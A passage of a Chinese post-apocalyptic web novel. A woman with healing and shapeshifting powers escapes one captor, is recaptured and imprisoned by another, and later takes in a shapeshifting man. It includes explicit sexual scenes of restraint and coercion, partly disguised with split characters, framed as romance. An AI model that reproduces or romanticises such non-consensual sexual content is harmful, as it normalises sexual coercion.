殊不知阮卿卿心中正焦急,打晕了迟泽,用不了多久就会被人发现,她必须尽快解决掉迟旭了。 “我是说真的,迟旭,我以后只和你在一起好不好?” ?! 迟旭心跳瞬间漏了一拍,甚至下意识以为自己听错了。 阮卿卿垂下眼睫,带着点局促:“你上次问我的那件事,我想好了,我们现在这种三个人的关系是不正常的,如果要我选,我还是想选你……” 说着,她抬眸看他,长睫一眨一眨:“我以后只和你在一起好不好?只和你住一起,只和你亲吻,只和你……做那种事。” 最后几个字,她声若蚊呐,迟旭却听得很清楚,整个人霎时僵在原地。 窗外几点星光从琼琼黑夜跃进他眸底,迟旭心颤了颤,从未预想的巨大喜悦击中了他。 眼前人柔美的小脸释放着妖女般魅惑的笑容,轻轻牵过他的手,指尖有点凉。 迟旭却未曾注意那笑意丝毫不达眼底。 下一秒,“咔哒”一声,一个更加冰凉的物品,猝不及防套上他的手腕。 察觉到不对,迟旭脸色瞬间变了,下意识要施展异能,可已经来不及。 后脑突然遭受剧痛一击,男人高大的身躯晃了晃,他难以置信地看着眼前的人。她手里举着一个沉甸甸的烟灰缸,脸上哪还有半点温柔小意,只剩下一片冰冷。 “你……” 他想说什么,可剧烈的眩晕感袭来,眼前一黑,终究还是支撑不住,重重倒了下去。 阮卿卿放下烟灰缸,嘴角抑制不住地上扬。 她终于自由了! 她不再看地上人一眼,转身就往外跑,风从耳边呼啸而过,吹起她的长发,红色裙摆在夜色里肆意飞扬。 少女却没有注意到,身后别墅的门内,原本趴在地上的人,手指微微动了动。 迟旭单手撑着地面,摇摇晃晃站起,后脑传来一阵阵钝痛,眼前还在发黑。 他晃了晃头,视线慢慢聚焦在空荡荡的门口,她的身影已经消失不见。 迟旭头痛欲裂,更显得满面阴鸷,可怕得瘆人。 都是骗他的……全部都是假的…… 他抬腿就要向前去追,然而刚走两步,头顶上的水晶吊灯不知怎么回事,忽然就松动了,朝着他狠狠砸下,落点精准得诡异。 一声巨响,他再次失去意识。 …… 阮卿卿快步来到室外一处凉亭,熟门熟路找到她需要的东西。 那是她提前让小桃放在这里的鸟笼,里面关着一只体型纤瘦的鸟。 她伸手捏住鸟一边的羽毛,微微蓄力,神奇的一幕发生了,女人高挑的身影渐渐缩小,没过一会儿就变成了一只与笼中雀一模一样的灰雀。 阮卿卿不甚熟练地扑棱着翅膀,大致适应后,就找准方向朝天空飞去。 变形后的新身体不是特别协调,她飞的有些低,风从羽毛间穿过,夜风冰凉,却又无比自由。 直到看到基地外墙,阮卿卿心中一阵激动,翅膀顿时扇得更快了。 谁知变故来得更快,一道绿网猝不及防从角落射出,像长了眼睛般,在空中迅速铺展,似天罗地网,精准捕捉正卖力扑扇翅膀的人。 绿网结结实实罩了下来,遇到异物瞬间黏缠在一起,阮卿卿再也挥不动翅膀,最后连鸟带网一起掉落在地上。 阮卿卿昂起狼狈的鸟头,挣扎着想要再度飞起。 可那藤蔓所织的绿网看似纤细,网绳却异常柔韧,四个角如有思想般扎根在地上,紧紧将她桎梏其中。 一双深褐色的军靴逼近,裤管笔挺,倒影修长,停在了她面前。 “竟是治愈与变形双系异能,阮小姐真是永远令我出乎意料。” 12. 第 12 章 阮卿卿抬眸,男人落定的身影将她面前罩得漆黑。 他居高临下,那双似点漆深墨的眼透过镜片正盯着她,又是那副深不可测的该死模样。 被点名道姓地认出,阮卿卿心中一下子拔凉起来。 她也不再白费力气装鸟了。绿网中身形变幻,很快,一个女人出现在网下,只是她趴伏的样子实在不算雅观,毕竟是刚从兽幻化成人,正姿态防备地紧盯他,像一只被逼到墙角的小兽。 阮卿卿后背阵阵发凉,天上飞的地上跑的那么多,变异的没变异的,他怎么偏偏确定这只鸟是她? 除非…… 一切都是有预谋的。 “放我走吧,郁先生。”她仰着头,祈求面前人,“放我离开基地,不会有任何人知道……” 郁文舟端详着面前眸光凄凉又暗含忿恨的小脸,挺温和地笑了声,收起绿网,弯腰将人抱起。 “咔哒——” 熟悉的一声轻响从手腕传来,阮卿卿低头看去,瞳孔一缩,竟又是一只抗拒手环。 和正戴在迟旭手上的那只一模一样,低调内敛,泛着温润光泽,能够瞬间封住异能。 “正因为不会有任何人知道……“郁文舟语气淡淡,目视前方走着,没看她,“阮小姐很聪明,但也很天真。” “昨天让你带走抗拒手环不是纵容你,而是我很好奇,你到底想做什么。” “我只能说,现在的结果……我很满意。” 男人忽然低身,凑近她耳边,呼吸灼热喷洒在她耳廓,带来一阵难以忍受的痒意,阮卿卿厌恶地偏过头。 郁文舟自然发现了她的抗拒,他云淡风轻笑了笑,远离那处不再招惹她。 毕竟以后有的是时间。 阮卿卿低垂着眼,面上竭力冷静,心中却是道道惊涛不断翻涌。 原来他早就知道了!她自以为手环遮掩得很成功,还以为瞎猫碰上死耗子多得了一枚晶核,原来那不过是他顺手而为,只为了促成如今的局面。 可是为什么?让她吸收晶核给她希望,却又在她离成功最近时一招拽落让她绝望? 现在变形异能也被他发现,阮卿卿忽然感觉呼吸都困难了。 郁文舟驱车向南,将她带到距离基地几公里处的一座洋楼,这里风景秀丽,竟比湖心别墅区有过之而无不及。 阮卿卿打量面前中看不中用的三层小楼,嘲讽开口:“这里是丧尸的后花园吗?” 男人似笑非笑:“这里方圆一公里都潜伏着变异植物群,丧尸大可以进来试试。” 阮卿卿神色微敛,心里却更加警惕,这人竟能在这么大的范围内布置下这样的天罗地网。 “那迟旭呢?”她不死心地问,“他的精神异能总会找到我的,你迟早会被发现。” “你以为你手腕上那东西有什么用处?抗拒手环不仅可以对内封闭异能,也能对外封锁精神波动。再说了,他的精神探测是有距离限制的。” 阮卿卿心头一跳,是了,她差点忘了,抗拒手环虽然可以随取随戴,但低阶异能者和普通人取不下高阶异能者给戴上的,她的异能等阶明显在郁文舟之下。 驾驶座上的人忽然眯缝起眼,从后视镜里看她:“怎么,你是更想让迟旭锁着你?” “你现在和他们又有什么区别?”她冷笑。 “别把我和别人相提并论,阮卿卿,乖一点,这栋房子很安全,但出了这里就不一定了。” “这是郁先生要关押我的笼子?进了这道门,马上又要限制我的自由了?” 郁文舟眸色一沉:“只是暂时的,等我解决掉迟泽迟旭,马上会接你回去。” 他从车上下来,走到她面前拉开车门,想摸摸她的脸,却被一下子偏头躲开。 手僵在半空中,他顿了顿,又若无其事地笑笑,将手收了回去。 把她放在了这栋房子里,男人就调头离开了。 阮卿卿各处看了看,布置得温馨,食物很充足,只有她一个。 二楼卧室露台视野广阔,能看到远处连绵的山景,此起彼伏。 可再好的风景她也没心思欣赏,不行,她得尽快找机会离开。 后面几天郁文舟没有出现,阮卿卿尝试把手环砸烂,却把手腕弄得生疼,试着用双脚走出去,却总能撞上那些令人头皮发麻、忽然窜过来的变异植物。 天光亮起,卧室里白纱轻扬,末世的又一个白天到了。 阮卿卿还在睡梦中,一个气息忽然从背后贴上她,单手抱住了她的腰,温热的吻落在颈间,不一会儿耳垂也被吻住。 阮卿卿被激得睁开了眼,郁文舟回来了?! 忙不迭伸手推他,感知危险与保护自己的本能促使她下意识起身就要离开这里,可手腕随即一紧,触感柔韧,又是那些该死的藤蔓,牢牢钳制住她双手双脚。 “放开我!”她挣扎着,声音里带着怒意,“郁、郁文舟!你还说你和迟旭不一样,你现在做的事又和他们有什么区别?” “别动,让我抱一会。”耳边的声音略哑,带着一丝疲惫。 “不要,别碰我!” “为什么不能乖一点?和我在一起就让你这么难接受?”郁文舟微微皱眉。 阮卿卿瞪大了眼,简直气笑了,“你把我关在这里,用藤蔓绑着我,现在还要让我开开心心地接受?” “说了只是暂时的,这也是为了保护你的安全。” “是为了保护我的安全,还是为了满足你的谷欠望?书房那天你做了什么通通忘了?现在说这些话不觉得可笑。” 提到书房,郁文舟镜片后的眸幽暗下来:“迟泽也没少和你在书房做吧,怎么在他身上可以,在我身上就不行了?” 话题又绕回了那天下午,似乎每一次见到他,都要因为迟泽迟旭争吵。 那两兄弟很难缠,他不能太频繁地过来找她,以免被发现,可好不容易过来一次,为此差点在迟泽的暗算下受伤……她不知道,对他没什么好态度,他能理解。 他也承认,书房那天他是冲动了一些。 但别忘了,是谁暗中帮助她从虎口逃脱,远离他二人的控制。 她憎恨地看过来,显然对他厌恶至极:“不管是你还是迟泽,最后不都是限制我的自由,把我关在这里当你们的玩物,招之即来挥之即去?” 郁文舟愕然了一瞬:“玩物?” 气氛沉默几秒,他低低笑了:“那不如今天让你感受一下,什么才是真正的玩物。” 阮卿卿头皮一紧,随即发现身上箍着的枝蔓,又开始徐徐攀爬起来。 她恨死了身上这些禁锢她的东西,剧烈挣扎着骂道:“放开我!你这个变态!” 男人嘴角分明是笑着的,可比黑夜还阴沉的眼锐利如针,幽幽看她被藤蔓扯散的衣服下露出的大片莹白,又因为剧烈扭动而渐渐泛红。 “别动,乖点就不会受伤。” 挑起她肩上的带子,直接扌止开了去,顶端随着他的动作颤了颤,仿佛在勾人搓扌柔。 郁文舟用手背刮弄了两下,阮卿卿立刻条件反射般抖动了下身子,引来他的嗤笑。 “想知道玩物是怎样的吗?” 两条藤蔓悄无声息钅占入衤君下,角度刁钻,契而不舍钻研起来。 “啊——!!” “怎么,这就受不住了?” 一条细如针尖的嫩藤不知道做了什么,异常的酸痛感伴随前所未有的冲动顿时席卷而来。 “不要!啊啊哈……” 屁月殳却被男人狠扌白了下:“忍住,才这点就不行了吗。” 床上人当然回答不了,正呜咽着开始落泪。 郁文舟擦了擦被浸氵显的手,眼神没有任何温度地盯视着还处在余韵中浑身狼狈的人。 阮卿卿哆嗦着不受控制,忽然后悔刚刚为什么要激怒他,明知道这人是个疯子,最后受苦的还是她自己。 当务之急是趁他来了,想办法让他解下抗拒手环,只要没有这只该死的手环,她的变形异能就能恢复,她才能找机会跑路。 想了想,她泪光婆娑着,忽然放软了声音,假装很痛苦的样子:“不要了……真的不行了,好痛……” 她刻意把尾音拖得又软又颤,像是真受了多大委屈似的,泪水涟涟顺着脸颊滑落,在锁骨洇出一片湿痕。 郁文舟一愣,痛?怎么会痛? 对上她楚楚可怜的眼,杏眼湿漉漉的,蒙着一层雾看着他。 那点压抑的火气不知不觉灭了一茬。 刚才,的确做得有些过分了。 郁文舟沉默着,撤开了随他意念的藤条。 感受到身上绑缚的桎梏散去,阮卿卿动了动酸痛的手,将雪白皓腕上勒出的红痕展示给他。 “你看,都破皮了……不要带手环了好不好,手环磨得我好痛。” 这是这几天尝试砸烂手环时,不小心伤到手腕留下的伤口,刚刚又被藤蔓磨红了些,现在看着就像被凌虐了,触目惊心。 郁文舟捧起那只手腕查看,眉头越皱越紧。 怎么会有这么多伤痕? 他的植物系异能虽然可以瞬间绞缚目标,但用在她身上,向来只会探出最柔软无害的那部分枝条。 眸子微微眯起,男人带着怀疑扫视回去,她正可怜巴巴看着他,长长的睫毛上还挂着泪珠。 “……” 算了,有他在这盯着,只要不让她触碰到可变形逃跑的东西,暂时取掉一阵也无妨,等她伤好再戴上就是了。 阮卿卿只感觉手腕一轻,下一刻,手环已经被取了下来。 看了眼空空如也的手腕,阮卿卿眼底闪过一丝不易察觉的冷意,面上却装出一副如释重负的模样,喜笑颜开地凑过去,在他下巴上轻轻亲了一下。 “谢谢你哦。” 郁文舟呼吸一顿。 她……主动吻了他? 柔软的触感在下巴上一触即分,快得他甚至来不及反应。他怔愣地坐在那里,看着她从床上跳下来,慵懒地伸了个懒腰,然后赤着脚踱步到露台上。 微风习习,她的长发被风吹起,在空中轻柔飘舞。她闭着眼,挺翘琼鼻映出天鹅般的弧度,微微仰着头,感受微风拂过脸颊的瞬间。 郁文舟看着她的背影,心里莫名涌起一阵异样。 他有些不想回去了,就在这里,只有他和她两个人,也挺好。 逆光中的人似是察觉到 什么,也忽然回过头,朝他粲然一笑。 那笑容明亮夺目,带着一丝狡黠,得意,还有……如释重负的决绝。 下一秒,她的身形猝不及防急速缩小,不过眨眼之间,就变成一道白影,从露台上展翅飞了出去! “阮卿卿——!!” 愤怒的嘶吼从身后传来,震得她脊背一僵。 可阮卿卿不敢回头,她奋力扇动翅膀,越飞越高,越飞越远。 身后传来藤蔓破空的声音,郁文舟的反应不可谓不快,可她站的位置实在太靠近露台边缘,很快飞上了高空,绿网的距离已经不够,只能眼睁睁地看着那道白影消失在视野里。 阮卿卿拼命飞着,风声在耳边呼啸。 她不敢停,一直飞,直到身后的洋楼变成一个小小的白点,那股如芒在背的压迫感也彻底消失,她才略微放松下来。 她展平双翅,任由气流托着她滑翔,闭眼感受着耳边名为自由的风。 自从变形异能升入三阶,她对身体各处细节的掌控变得更加随心所欲,也不用再像之前一样,必须触碰到完整实物才能变形,现在只需碰到目标的某一部分就可以。 那是她在附近捡到的一片新掉落的羽毛,一直藏在卧室露台,刚才趁郁文舟放松警惕,她假装吹风,实则指尖已经悄悄去碰鸟羽,终于顺利逃了出来。 在体力耗尽前,阮卿卿寻觅了一处较为安全的草地降落,同时变为人形恢复体力。 这片草地偏僻,花草繁茂,草杆有人的半身高,既方便隐藏身形,也没有太多遮挡物,如果有丧尸突然袭击,她可以直接飞走。 算了算,以她现在的速度,不吃不喝飞到南安,至少需要一周。 这还没有考虑中途寻找新的鸟类或羽毛需要耗费的时间。因为鸟的羽毛是有变形时限的,脱离原主人二十四小时,就会失去变形效用,到时再触碰羽毛就只能变形成羽毛本身了。 “嗷呜……” 一道微弱声响忽然打断了她的思绪。 阮卿卿循着声音找去,拨开草丛,竟然看见一只可爱的金毛幼崽卧在草垛中,它眼睛紧闭,轻轻叫唤着,似乎很痛苦的样子。 她心疼地蹲下身,轻轻把小家伙抱起来查看,发现它的一条后腿被血染红了一片,下腹部有一道不浅的伤口,还在往外渗着血。 这……也不知道是谁家的宠物狗。 末世人命都不值钱,更别提一条狗了,大概是发现狗被丧尸咬了,怕被感染,就直接丢下跑路了吧。 阮卿卿没有别的长处,却刚好有治愈异能。 她挤出两滴眼泪,朝伤口抹去,但量太少,伤口只轻微愈合了一点,又开始窸窣流血。 这……现在要她哭也哭不出来呀,除了眼泪,口水也不够多。 犹豫了一下,她羞涩地掀起上衣,将一只涨女乃的顶端朝小家伙的伤口挤去,心中不断安慰自己,治病救狗要紧。 乳白色的汁水大滴大滴溢在血肉模糊的伤口上,流血的速度果然减缓了许多。 谁知小金毛似是嗅到了什么香甜的气息,忽然动了动鼻子,竟转身一口含了上去,开始用力吮吃。 阮卿卿大惊,正要扯开它,却见它闭着眼吃得香甜,身下的伤口也愈合得更快了。 ……果然,内服比外用的效果更好。 强忍害羞等小崽喝完,伤口也完全恢复后,这只小狗又沉沉睡去了。 阮卿卿把它抱起,晃了晃,明明呼吸正常,却莫名睡得很沉,怎么也叫不醒。 怎么回事?难道是还没恢复? 她打量着小金毛憨态可掬的脸,没忍住,亲了亲它的额头。 “小家伙,你以后就跟着我吧。” 在末世有个小狗陪伴也不错…… 阮卿卿带着它到附近一处偏僻农舍,打算在这里休息一晚。 农舍很久没有人住了,到处都蒙着厚厚的灰尘,床铺还算干净。她把各处收拾了下,把小狗放在枕头边,又简单吃了点东西,就躺下休息了。 今天变鸟长时间飞行,体力消耗了不少,明天还得早起赶路,必须养足精神。 明天可以试着变成体型更大的陆地猛兽来赶路,虽然没有猛兽的毛发,但可以利用小金的毛发,再稍微变形一下细节,整体看起来凶悍一些,起威慑作用就是了。 小金是她给这只小狗起的名字,不知道它喜不喜欢…… 心里乱七八糟想着,不知不觉沉沉睡去。 是夜,星光黯淡。 一片静谧中,趴伏在女人身边的金毛幼崽忽然睁开眼,一双琥珀色瞳仁在暗夜里显得格外亮。 它灵巧地跳下床,像是有目的似的,熟练地用前爪推开屋门走到院子里。 月光下,一片幽绿色的光点正不断逼近农舍,那是几十双凶神恶煞的狼眼,在黑夜中闪烁着幽戾的寒光,令人脊背发凉。 金毛站在院子中央,却丝毫不怕的样子,朝着那些变异狼缓步走去。 随着每一步迈出,他的身形渐渐变大,拉长,月色下的身影赤着上身,俨然一位高大健硕的少年。 他微微眯眼,俊美的五官有些不耐。 “啧,一群三阶小狼,也敢来骚扰我?” 13. 第 13 章 忽然狗吐人言的人什么也没有做,只是简单地信步走向狼群,可那气息释放的瞬间,狼群便感受到一股山岳般恐怖的威压逼近,那是比狼王更能让它们俯首称臣的存在。 只见狼群突然朝着男人的方向趴伏了下去,浑身颤抖地等待指示。 “滚。” 那人不耐地吐出一个字,狼群便压着尾巴屁滚尿流地四散逃走了。 靖轩神色放缓,转身回到屋内,月色透过破旧的窗淌在床上,映出女人恬静的睡颜。她的呼吸很轻,长长的睫毛在脸上投下一小片阴影,饱满的唇微微张着,看起来毫无防备。 看着床上正睡得香甜的人,他脚步下意识顿住,没有变回去。 靖轩还怀念着白日那分外可口的味道,既然他帮她赶跑了致命威胁,是不是可以象征性地收点保护费? 鼻子情不自禁动了动,他眸色一暗,呼吸灼热起来。 ……………………… …… 第二天一早,阮卿卿睁开惺忪的眼,外面天光已经很亮了。 枕边空空如也,诶,小金呢,她的狗呢? 她一下子清醒过来,四下张望着起身寻找。 这时有动静从脚边传来,一个欢快摇着尾巴的毛茸茸脑袋蹭过来了,还叫了两声,试图引起她的注意。 这奶萌模样一下击中了阮卿卿的心,她弯下腰,将脚边的奶狗抱起来,撸它下巴和脑袋,小家伙舒服得眯起眼。 “小金,你的伤好了吗?” 她要去看它的肚子上的伤有没有被丧尸病毒继续感染,谁知它突然开始扑腾,不让她看,阮卿卿也就作罢。 这么活泼应该没事了,她想。 她把小狗放下,可它似乎不愿意离开的样子,又跳到了她怀里,不住地蹭她的脸和脖颈。 怎么能这么这么可爱呢…… 阮卿卿找了点昨天从农场主房间里找到的肉干,要喂给它吃,它却嗅都不嗅一下,丝毫不感兴趣的样子,只是一个劲地往她怀里钻。 还挺黏人的,她忍不住笑笑。 只是胸口不知道为什么总有些刺刺的疼,阮卿卿没有在意,反正她有治愈异能,过段时间自己就好了。 重新启程上路,小金看起来是要黏她到底了,她走到哪,它就跟到哪,寸步不离。 考虑到它不会飞,阮卿卿这次变成了同样的一只金毛,又稍微改变了下形态。 陆上赶路没有天上飞那么快,但也更节省变形的体力。 出乎意料的是,小金小小一只狗崽,竟然比她体力更好,一上午赶路下来,她都气喘吁吁了,小金却一点事没有,见她停下,就激动地要往她身上扑。 “等一下小金——” 避开它湿漉漉的鼻头,阮卿卿嘴角弯了弯,去揉它脑袋:“不饿吗?你一天没吃东西了。” 小金嗷了一声,忽然叼住她衣角,要带她去哪的样子。 阮卿卿不明所以,跟着它走,小金似乎对这一片很熟,带着她七拐八绕到了一座大型超市的后门。 这座超市规模不小,六层楼高的建筑虽然已经残破不堪,但主体结构还算完整。正门被车辆和杂物堵住了,的确只有这个小门能进。 阮卿卿有些不太敢进去,正犹豫着,小金用爪子扒拉了两下门缝,回头冲她叫了两声。 这忽然给了她勇气,她走过去试着拉了下,门吱呀一声开了,露出里面昏暗的通道。 里面比外面更暗,断电多日,超市里弥漫着一股淡淡的霉味,好在有几扇窗户还勉强透着光,能大致看清周围环境。 货架东倒西歪,商品散落一地,阮卿卿小心翼翼地往前走,小金似乎一点不害怕,已经去找吃的了。 她走到休闲食品区,想找点好携带的饼干或干粮,毕竟路上不可能每次都靠运气找食物。 货架上稀稀拉拉还剩下一些东西,大多已经过期变质了,但总有些真空包装的临近保质期还能吃。 她挑了几包饼干塞进随手捡的背包里,又找到几罐午餐肉,心里稍微踏实了些。 “小金,我们去找找有没有——” 话音未落,她拐过一个弯,瞳孔骤然收缩。 前方十几米外的货架间,赫然站着好几只丧尸,听到她这边的动静,那些丧尸机械地转过头来。 阮卿卿浑身一僵,冷汗瞬间浸透了后背。 她下意识去摸口袋里的羽毛,那是她提前准备好的,只要碰到就能变鸟飞走。 可小金还在超市里,短暂犹豫了下,她果断回头,边跑边大叫小金的名字。 刚才还在脚边跑着的家伙,这会儿却不知道去哪了。 那些丧尸闻到了活人的气息,开始朝她扑来。 她慌忙加快脚步,沿着刚才的路跑了几步,没找到它,阮卿卿心里开始发紧。 不行,她不能就这么丢下它。 “小金——!” 她边跑边大喊,可那些丧尸越来越近,腐烂的恶臭几乎要扑面而来。 阮卿卿拐过一个弯暂时甩开他们,慌乱中摸到了消防通道沉重的门,想也不想就推开了。 然而她刚迈进去一步,整个人就僵住了。 里面竟然是更多的丧尸! 密密麻麻挤满了整条通道,张牙舞爪地朝她扑来,血腥的面孔在昏暗中显得格外恐怖。 “啊!!!” 阮卿卿尖叫一声,吓得魂都快没了。 她连忙要关上这扇门,可那些货架间的丧尸已经追了上来,前后夹击,眼看就要将她堵在中间。 她下意识地后退,昏暗光线下,却不小心撞到堆在脚边的杂物,脚下一个趔趄,眼看就要向旁边跌倒。 完了,这次真的完了。 可下一秒,一双带着热度的手忽然从后面出现,稳稳按住了她。 她还没来得及回头,就听见一声砰响,一条腿狠狠踹在门背上,动作利落锁住了门,几只丧尸的手和头也被瞬间夹断。 “别怕,跟我来。” 清冽锋利的嗓音在耳边响起,阮卿卿侧头看去,男人身形高大,逆光中看不清脸,只能看到他穿着一件白色衬衫,袖口随意地挽到小臂,露出线条流畅的手腕。 她被拉着往另一边跑去,身后丧尸嘶吼着追了上来,阮卿卿吓得脸色惨白,心脏狂跳,耳边全是自己急促的呼吸声。 前面又有几只丧尸游荡着围了过来。 男人停下脚步,将她护在身后。 而后阮卿卿瞪大了眼,他的右手忽然就暴涨起来,以一种不可思议的速度膨胀、变形,白色的衬衫袖子被撑得嘶啦一声碎裂,露出里面狰狞的肌肉线条。 那只手,变成了一只猛兽的爪子。 爪尖寒光烁烁,爪背上覆盖着深色的毛发,下一秒,爪尖动了动—— 他动作狠辣利落,几只丧尸的头瞬间被削飞,男人每一爪都精准地命中要害,几下就干翻了追上来的丧尸。然后拉着她继续往前跑,一路砍瓜切菜般解决掉剩余的拦路者。 阮卿卿跟在他身后,看着那些丧尸在他爪下像纸片一样被撕碎,心里震撼得无以复加。 男人手劲很大,抓着她的手腕生疼,带着她穿过一个个货架,来到了超市的生活用品区。 这里相对空 旷,展示家具和床上用品,没什么遮挡物,也没有丧尸的踪迹。 阮卿卿扶着旁边大口大口地喘气,抬起头,终于看清了眼前人。 二十出头的样子,发丝凌乱,肌肉贲张,五官又很俊美,散发着一种介于奶狗与狼狗之间的野性气质。 衬衫扣子似乎扣得很仓促,最上面几颗敞着,又带了点漫不经心的性感。 但阮卿卿还没空欣赏帅哥,她挣脱他的手,语气焦急:“我的狗还在那边!” 靖轩挑了挑眉,长臂一伸,捞过面前人到怀里。 阮卿卿还没反应过来,就被他紧紧抱住了。 他乱翘的发丝埋在她肩窝里狠狠吸气,性感的喉结上下滚动,声音透着点委屈:“怎么翻脸不认人呢?我是小靖呀……” “小金?” 阮卿卿愣怔住,小金是她的狗,怎么变成人了? “你是那只小金毛?”她难以置信地看着他。 “怎么?不像么?” “你也是变形异能?” “我是动物系异能,那时的体力只够维持成幼犬的样子,幸好姐姐不嫌弃我。” 阮卿卿点了点头,忽然感觉心里空落落的,她的小狗就这么没了。 “那我们快离开这里吧,小金。” “等等——” 靖轩笑了笑,眼睛明亮,“姐姐,我的伤是你治好的,这可是救命之恩,以后我就是你的人了……” 他漂亮的眼紧锁着她,声音低了下去:“你看,我又受伤了,你不帮我治疗吗?” 他抬起右臂,深色的兽毛还覆在上面,隐隐能看到一点被挠伤的痕迹。 “啊?” 意识到什么,阮卿卿立时大窘,难难难道又要喂他吃那个? “不可以吗?”靖轩歪了歪头,眼神无辜,“如果你介意,我还可以变成小狗的样子。” “不是这个问题,是……” 阮卿卿咬着唇,想到自己曾经做了什么,而他记忆深刻的样子,耳尖霎时变得滚烫。 “意思是现在这样就行?” 他薄唇咧起笑容,显然误解了什么,不由分说地抱起她,将她放在旁边的样品床上,高大身躯压了下来。 “姐姐,刚才在丧尸堆里,我满脑子想的都是你。” 他低头,鼻尖蹭了蹭她脸颊,声音沙哑,“我在想,如果你被咬了怎么办,我不能失去你。” 想到小金刚刚是为了救自己才受伤,阮卿卿犹豫着妥协了,轻轻推他,声如蚊呐:“那你快一点。” 靖轩低笑一声,眸色缓缓深沉下来。 他一只手伸过来,……………… ……………… 阮卿卿还没反应过来他为什么会这么熟练,面前的…………… ……………… 靖轩放开她,却又强势欺身而上,俯身吻上了她的唇。 女人的呼喊被堵住,他大口肆意啃吸,追逐着那香软的舌,似要将她吞入腹中。 吞入腹中……这个猛然的念头,靖轩额角跳了跳,再难控制自己。 阮卿卿迷离的视野中,面前人忽然换了副样子,除了那只本身就兽化的手臂,琥珀色的桃花眼不知何时变成了绿幽幽的兽瞳,人类的肉色耳朵也变成了高高竖起的狼耳。 纯黑的毛发油光锃亮,耳廓内的皮肤却是浅粉色的,白色的绒毛微微抖动,似是在激动地期待什么。 狼人形态下,野兽原始的兽性被彻底激发了出来,靖轩此刻只想…………………… 他俯在她耳边,低低叹了声。 “姐姐,……………… 14. 第 14 章 男人声音低哑,锋利兽瞳中隐隐流露出幽深的侵占欲,阮卿卿头皮一紧。 “不、不行……小金你清醒一点!” 她猛地挣脱他起身,却又被扣住手腕,轻而易举按了回去。 “外面都是丧尸,我不对你做什么,马上天黑了,我们明早再出发。” 灯光昏暗,却不影响狼人夜间视物,少女眼底的警惕清晰可见,并不信他。 靖轩笑了笑,双臂抱住紧绷的人,仍像是黏人的小狗般,依恋地嗅着她身上的气息。 “别走,就在这里陪我。”他哑声开口。 或许是他真的没再做什么,又或许是赶路累了一天,阮卿卿身体渐渐放松下来,还真就着他怀里一点点睡过去了。 梦里却是完全不同的景象,她被一把挟持住,不断捶打的双手被反锁在头顶,男人一对兽瞳极亮,在昏暗中泛着幽冷,锋利的犬牙直接咬住了她后颈。 像是神秘的古老仪式,她雪白颈畔被留下独属于他的标记,……………………… 昏暗的灯光下,………………………… 透过天花板镜子的反射,阮卿卿眼神涣散着,看到了自己的模样。 细嫩皮肤……………………,泪水满溢,贝齿将下唇咬得殷红。 然而这还没完,男人的体温忽然迅速下降,动物的毛发褪去,上半身恢复成原本的俊美模样,自腰腹而起的下身却长出暗含光泽的深色鳞片,蟒蛇般的粗壮巨尾延伸而出,盘旋的蛇尾顿时占据了整个地面。 半人半蛇的模样宛如古希腊神话中美丽却致命的拉弥亚蛇妖,上身俊美如俦的五官占尽造物主偏爱,下身却是诡异扭动的蛇身和缓缓摩挲的蛇尾,带着怪异触感的麟片紧贴着她,瘆人的冰冷感霎时席卷她全身。 阮卿卿惊恐地尖叫一声,想要逃离,右脚踝却被灵活的蛇尾猛地拖拽回来,粗壮有力的长尾缠上她腰…………………… “姐姐,我还可以变蛇哦~” 男人张嘴说话时,舌头已经不是人类模样,分叉的蛇信如鲜血般殷红,正妖冶地吐露在薄唇外。 他阴冷的竖瞳牢牢盯视她,迷恋地低下头去,长长的蛇信探了过来—— “啊!不要,别过来……” 靖轩略微平复下来,正打算起身,却见旁边熟睡的人嘴唇动了动,精致漂亮的细眉紧锁着。 做噩梦了? 靖轩唇角微微勾起,这么没有安全感?怕丧尸? 他眉梢轻挑,眼底闪过笑意。 那就把这座商场里的丧尸全部清理掉吧。 这个念头一出,背脊的毛发很快又重新覆盖,男人兽瞳幽亮,利落翻身隐入黑夜。 夜色深沉,空气中的血腥气似乎更浓了些。 很快解决掉游荡各处的行尸走肉,注意到自己身上因变身被撑坏的衣料,靖轩微微皱了皱眉。 本来打算来这边找身体面的衣服,以帅气的形象出现在她面前,没想到衬衫又坏成这样。 嗯,还得再换一件。 他又挑了几身备用,回到熟睡的人那里。 某些人的噩梦似乎已经过去,细弱的眉头舒展了些。 仔细瞧着她安静不动的脸,靖轩不自觉弯了弯唇,将人揽过来抱着,也缓缓阖上双眼。 …… 不知睡了多久,或是梦了多久,阳光悄悄落进,挤散了空气里的尘埃。 阮卿卿猛地睁开眼,下意识往旁边看去,男人已经变回原形,鼻梁高挺,呼吸沉稳,他一只手搭在她腰上,还在沉沉睡着。 心里紧绷的弦松了松,却又有些喘不上气。 太可怕了,动物系太可怕了。 回想起睡前他的话和梦里的光怪陆离,阮卿卿心有余悸,这不是她的小狗,这是一个容易兽性发作的男人,她不能留在这里。 她迅速收拾了下,找了身干净的衣服换上,出乎意料的是,一个丧尸也没遇见,很顺利地离开了这里。 外面日光刺眼,考虑到节省体力,阮卿卿先是变形成一只外表经过改良的变异狼狗赶路,之后又用新捡到的羽毛变成麻雀,鸟类飞行的速度明显较陆地奔跑更快。 不知飞了多久,阮卿卿俯瞰地面,路边游荡的丧尸明显增多了,看来又到达了一个人口大市。 一片枯叶飘荡几下,打着圈,轻轻掉落地上。 一旁的丧尸察觉到动静,布满血污的脸眼白上翻,呆滞地转过头,发觉是一只毫不起眼的灰色麻雀降落树桠上后,立马失了感兴趣,继续在街边游荡。 阮卿卿正躲在树上休息,顺便啄一点路上摘的樱桃补充体力,一道尖锐枪声突然响起,惊得她差点从树上掉下去。 她站稳看去,刚刚还与她四目相对的丧尸老哥竟被直接爆了头,破碎的脑浆烟花炸裂般洒了一地。 刺耳的刹车声响起,几名长相凶神恶煞的男人从一辆面包车上下来,几人端着武器清理了四周的丧尸,找了片树荫小解。 灰色麻雀没眼看,连忙用翅膀捂脸,却又见一个漂亮女人被一名壮汉拖拽着下了车,两人来到她所在的树下,阮卿卿听见他嘴里骂骂咧咧的污言秽语。 “怎么?老大都死了,你还想为他守贞?” “我呸,认清你的身份!现在队里我是老大,乖乖伺候好我,不然有你好果子吃!” 女人头发被拽得散乱,强撑着露出讨好的笑:“尧哥误会我了,我不是那个意思。” 那人眯眼:“那你是什么意思?碰都不让我碰?” “怎么会呢,刚刚你兄弟都在,现在可以了……” 男人哼了声,动作随即开始粗暴起来。 阮卿卿正考虑飞走,远离这不忍直视的画面,天空却忽然毫无预兆阴沉了下来。 一片黑压压的乌云飘到几人正上空,巨大的轰鸣闷响中,几道雷光突然从云中射下,电流似有思想般,精准地劈在了几个男人身上。 “啊——” 